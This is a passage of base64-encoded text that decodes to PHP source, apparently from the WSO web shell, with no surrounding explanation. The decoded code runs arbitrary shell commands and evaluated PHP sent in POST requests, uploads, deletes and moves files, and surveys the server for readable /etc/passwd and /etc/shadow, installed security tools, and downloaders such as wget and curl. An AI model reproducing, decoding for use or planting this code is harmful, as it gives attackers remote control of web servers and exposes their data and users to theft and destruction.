MzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nLiRtZW51Lic8 L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPic7Cn0KCmZ1bmN0aW9uIHdzb0Zvb3Rl cigpIHsKCSRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/Ijxmb250 IGNvbG9yPWdyZWVuPlsgV3JpdGVhYmxlIF08L2ZvbnQ+IjoiPGZvbnQgY29sb3I9cmVkPlsgTm90 IHdyaXRhYmxlIF08L2ZvbnQ+IjsKICAgIGVjaG8gIgo8L2Rpdj4KPHRhYmxlIGNsYXNzPWluZm8g aWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgIHN0eWxl PSdib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICMzMzM7 Jz4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUpO3JldHVy biBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xz SW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFM U1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4K CQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7 cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0n dG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+ PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01h bicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2Ug ZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48 aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+JGlzX3dyaXRhYmxlPC90ZD4KCQk8 dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtm aWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBj bGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVl PSc+Pic+PC9mb3JtPiRpc193cml0YWJsZTwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25z dWJtaXQ9XCJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxz cGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQg bmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3Rk PgoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEn PgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4KCQk8aW5wdXQg dHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4KCQk8aW5w dXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+CgkJPGlucHV0IHR5cGU9 aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/ JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPjxi cj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1 Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4kaXNfd3JpdGFibGU8L3RkPgoJPC90cj48L3RhYmxlPjwv ZGl2PjwvYm9keT48L2h0bWw+IjsKfQoKaWYgKCAhZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRw d3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9n ZXRwd3VpZCcpPT09ZmFsc2UpICkgeyBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkgeyByZXR1 cm4gZmFsc2U7IH0gfQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYg KHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9 PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7IHJldHVybiBmYWxzZTsg fSB9CmZ1bmN0aW9uIHdzb0V4KCRpbikgewoJJG91dCA9ICcnOwoJaWYoZnVuY3Rpb25fZXhpc3Rz KCdleGVjJykpIHsKCQlAZXhlYygkaW4sJG91dCk7CgkJJG91dCA9IEBqb2luKCJcbiIsJG91dCk7 Cgl9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewoJCW9iX3N0YXJ0KCk7CgkJ QHBhc3N0aHJ1KCRpbik7CgkJJG91dCA9IG9iX2dldF9jbGVhbigpOwoJfWVsc2VpZihmdW5jdGlv bl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJb2Jfc3RhcnQoKTsKCQlAc3lzdGVtKCRpbik7CgkJJG91 dCA9IG9iX2dldF9jbGVhbigpOwoJfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMn KSkgewoJCSRvdXQgPSBzaGVsbF9leGVjKCRpbik7Cgl9ZWxzZWlmKGlzX3Jlc291cmNlKCRmID0g QHBvcGVuKCRpbiwiciIpKSkgewoJCSRvdXQgPSAiIjsKCQl3aGlsZSghQGZlb2YoJGYpKQoJCQkk b3V0IC49IGZyZWFkKCRmLDEwMjQpOwoJCXBjbG9zZSgkZik7Cgl9CglyZXR1cm4gJG91dDsKfQpm dW5jdGlvbiB3c29WaWV3U2l6ZSgkcykgewoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkKCQlyZXR1cm4g c3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CgllbHNlaWYoJHMgPj0g MTA0ODU3NikKCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUIn OwoJZWxzZWlmKCRzID49IDEwMjQpCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0 ICkgLiAnIEtCJzsKCWVsc2UKCQlyZXR1cm4gJHMgLiAnIEInOwp9CgpmdW5jdGlvbiB3c29QZXJt cygkcCkgewoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwoJZWxzZWlmICgo JHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsKCWVsc2VpZiAoKCRwICYgMHg4MDAwKSA9 PSAweDgwMDApJGkgPSAnLSc7CgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0g J2InOwoJZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsKCWVsc2VpZiAo KCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CgllbHNlaWYgKCgkcCAmIDB4MTAwMCkg PT0gMHgxMDAwKSRpID0gJ3AnOwoJZWxzZSAkaSA9ICd1JzsKCSRpIC49ICgoJHAgJiAweDAxMDAp ID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsKCSRpIC49 ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAw eDA4MDApID8gJ1MnIDogJy0nKSk7CgkkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7 CgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDA4 KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6 ICctJykpOwoJJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAm IDB4MDAwMikgPyAndycgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgw MjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCXJldHVy biAkaTsKfQpmdW5jdGlvbiB3c29QZXJtc0NvbG9yKCRmKSB7CglpZiAoIUBpc19yZWFkYWJsZSgk ZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicud3NvUGVybXMoQGZpbGVwZXJtcygk ZikpLic8L2ZvbnQ+JzsKCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCgkJcmV0dXJuICc8Zm9u dCBjb2xvcj13aGl0ZT4nLndzb1Blcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9mb250Pic7CgllbHNl CgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jMDBCQjAwPicud3NvUGVybXMoQGZpbGVwZXJtcygkZikp Lic8L2ZvbnQ+JzsKfQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsKCWZ1bmN0aW9u IHNjYW5kaXIoJGRpcikgewoJCSRkaCAgPSBvcGVuZGlyKCRkaXIpOwoJCXdoaWxlIChmYWxzZSAh PT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpIHsKICAgIAkJJGZpbGVzW10gPSAkZmlsZW5h bWU7CgkJfQoJCXJldHVybiAkZmlsZXM7Cgl9Cn0KZnVuY3Rpb24gd3NvV2hpY2goJHApIHsKCSRw YXRoID0gd3NvRXgoJ3doaWNoICcuJHApOwoJaWYoIWVtcHR5KCRwYXRoKSkKCQlyZXR1cm4gJHBh dGg7CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsKCXdzb0hlYWRl cigpOwoJZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFz cz1jb250ZW50Pic7CglmdW5jdGlvbiB3c29TZWNQYXJhbSgkbiwgJHYpIHsKCQkkdiA9IHRyaW0o JHYpOwoJCWlmKCR2KSB7CgkJCWVjaG8gJzxzcGFuPicuJG4uJzogPC9zcGFuPic7CgkJCWlmKHN0 cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNobyAkdi4nPGJyPic7CgkJCWVsc2UKCQkJ CWVjaG8gJzxwcmUgY2xhc3M9bWwxPicuJHYuJzwvcHJlPic7CgkJfQoJfQoJCgl3c29TZWNQYXJh bSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwoJd3NvU2Vj UGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlv bnMnXT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwoJd3NvU2VjUGFyYW0o J09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOwoJd3NvU2VjUGFyYW0o J1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7Cgl3 c29TZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9p bmNsdWRlX2RpcicpKTsKCXdzb1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlz dHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsKCSR0ZW1wPWFycmF5KCk7CglpZihm dW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQoJCSR0ZW1wW10gPSAiTXlT cWwgKCIubXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkuIikiOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdt c3NxbF9jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJNU1NRTCI7CglpZihmdW5jdGlvbl9leGlzdHMo J3BnX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIlBvc3RncmVTUUwiOwoJaWYoZnVuY3Rpb25fZXhp c3RzKCdvY2lfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiT3JhY2xlIjsKCXdzb1NlY1BhcmFtKCdT dXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOwoJZWNobyAnPGJyPic7 CgkKCWlmKCAkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApIHsKCQkkdXNlcmZ1bCA9IGFycmF5KCdn Y2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5Jywn dGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKCQkk ZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ry d2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3Jywn dHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2Fk bScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJz Y2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsKCQkkZG93bmxvYWRlcnMgPSBhcnJh eSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3In KTsKCQl3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9l dGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBc Ii9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKCQl3c29TZWNQYXJhbSgn UmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93Jyk/InllcyA8 YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcImV0Y1wiLCBcInNoYWRvd1wi KSc+W3ZpZXddPC9hPiI6J25vJyk7CgkJd3NvU2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9n ZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CgkJd3NvU2VjUGFyYW0oJ0Rpc3RyIG5hbWUn LCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwoJCWlmKCEkR0xPQkFMU1sn c2FmZV9tb2RlJ10pIHsKCQkJZWNobyAnPGJyPic7CgkJCSR0ZW1wPWFycmF5KCk7CgkJCWZvcmVh Y2ggKCR1c2VyZnVsIGFzICRpdGVtKQoJCQkJaWYod3NvV2hpY2goJGl0ZW0pKXskdGVtcFtdPSRp dGVtO30KCQkJd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKCQkJ JHRlbXA9YXJyYXkoKTsKCQkJZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkKCQkJCWlmKHdzb1do aWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CgkJCXdzb1NlY1BhcmFtKCdEYW5nZXInLCBpbXBs b2RlKCcsICcsJHRlbXApKTsKCQkJJHRlbXA9YXJyYXkoKTsKCQkJZm9yZWFjaCAoJGRvd25sb2Fk ZXJzIGFzICRpdGVtKSAKCQkJCWlmKHdzb1doaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CgkJ CXdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQllY2hv ICc8YnIvPic7CiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIREQgc3BhY2UnLCB3c29FeCgnZGYg LWgnKSk7CgkJCXdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9o b3N0cycpKTsKCQl9Cgl9IGVsc2UgewoJCXdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgn dmVyJykpOwoJCXdzb1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291 bnRzJykpOwoJCXdzb1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyx3c29FeCgnbmV0IHVzZXInKSk7 Cgl9CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblBocCgp IHsKCWlmKCBpc3NldCgkX1BPU1RbJ2FqYXgnXSkgKSB7CgkJJF9TRVNTSU9OW21kNSgkX1NFUlZF UlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwoJCW9iX3N0YXJ0KCk7CgkJZXZhbCgkX1BP U1RbJ3AxJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQn KS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5p bm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSks IlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7 CgkJZXhpdDsgCgl9Cgl3c29IZWFkZXIoKTsKCWlmKCBpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgk X1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSApIHsKCQllY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYg Y2xhc3M9Y29udGVudD48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsKCQlvYl9zdGFy dCgpOwoJCXBocGluZm8oKTsKCQkkdG1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgJHRtcCA9 IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1z aVUnLCcnLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUn LCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKCQllY2hvIHN0cl9yZXBsYWNlKCdoMScs J2gyJywkdG1wKS4nPC9kaXY+PGJyPic7Cgl9CglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFl bXB0eSgkX1BPU1RbJ3AxJ10pKQoJCUAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1Qn XSkuJ2FqYXgnXSA9IGZhbHNlOwoJCWVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxk aXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0 aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtn KFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0 YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1Rb J3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlu cHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOwoJZWNo byAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX1NFU1NJT05b bWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQg dXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NU WydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4n OwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlvYl9zdGFydCgpOwoJCWV2YWwoJF9QT1NU WydwMSddKTsKCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOwoJfQoJZWNo byAnPC9wcmU+PC9kaXY+JzsKCXdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc01h bigpIHsKCXdzb0hlYWRlcigpOwoJZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFz cz1jb250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+JzsKCWlmKCFlbXB0eSgk X1BPU1RbJ3AxJ10pKSB7CgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgewoJCQljYXNlICd1cGxvYWRG aWxlJzoKCQkJCWlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUn XSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7 CgkJCQlicmVhazsKCQkJY2FzZSAnbWtkaXInOgoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10p KQoJCQkJCWVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKCQkJCWJyZWFrOwoJCQljYXNlICdk ZWxldGUnOgoJCQkJZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7CgkJCQkJJHBhdGggPSAoc3Vi c3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKCQkJCQkkZGggID0gb3BlbmRp cigkcGF0aCk7CgkJCQkJd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2Up IHsKCQkJCQkJJGl0ZW0gPSAkcGF0aC4kaXRlbTsKCQkJCQkJaWYgKCAoYmFzZW5hbWUoJGl0ZW0p ID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApCgkJCQkJCQljb250aW51ZTsK CQkJCQkJJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7CgkJCQkJCWlmICgkdHlwZSA9PSAiZGlyIikK CQkJCQkJCWRlbGV0ZURpcigkaXRlbSk7CgkJCQkJCWVsc2UKCQkJCQkJCUB1bmxpbmsoJGl0ZW0p OwoJCQkJCX0KCQkJCQljbG9zZWRpcigkZGgpOwoJCQkJCXJtZGlyKCRwYXRoKTsKCQkJCX0KCQkJ CWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCgkJCQkJZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAk ZikgewoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7CgkJCQkJCWlmKGlzX2RpcigkZikpCgkJCQkJ CQlkZWxldGVEaXIoJGYpOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCRmKTsKCQkJCQl9CgkJ CQlicmVhazsKCQkJY2FzZSAncGFzdGUnOgoJCQkJaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29w eScpIHsKCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGly KCRjLiRzKSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRz KTsKCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlp ZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewoJCQkJCQkJCQljb3B5X3Bhc3RlKCRj LiRzLicvJywkZiwgJGQuJHMuJy8nKTsKCQkJCQkJCQl9CgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUo JGMuJHMpKSB7CgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCQl9CgkJCQkJfQoJCQkJ CWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCgkJCQkJCWNvcHlfcGFzdGUoJF9TRVNTSU9O WydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CQkJCQkKCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsn YWN0J10gPT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJ CQkJCWlmKGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBA b3BlbmRpcigkYy4kcyk7CgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFs c2UpCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsKCQkJCQkJCQkJ Y29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCQkJfQoJCQkJCQl9IGVs c2VpZihAaXNfZmlsZSgkYy4kcykpIHsKCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7CgkJCQkJ CX0KCQkJCQl9CgkJCQkJZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKCQkJCQkJQHJlbmFt ZSgkX1NFU1NJT05bJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKCQkJCX0gZWxzZWlmKCRf U0VTU0lPTlsnYWN0J10gPT0gJ3ppcCcpIHsKCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hp dmUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsK ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR6aXAtPm9wZW4oJ3dzb18nLmRhdGUoIlltZF9I aXMiKS4nLnppcCcsIChpbnQpQGV2YWwoJ3JldHVybiBaSVBBUkNISVZFOjpDUkVBVEU7JykpKSB7 CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX1NFU1NJT05bJ2MnXSk7CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9TRVNTSU9OWydjJ10u JGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRf U0VTU0lPTlsnYyddLiRmLCAkZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxz ZWlmKEBpc19kaXIoJF9TRVNTSU9OWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5l dyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsKICAgICAgICAgICAgICAgICAg 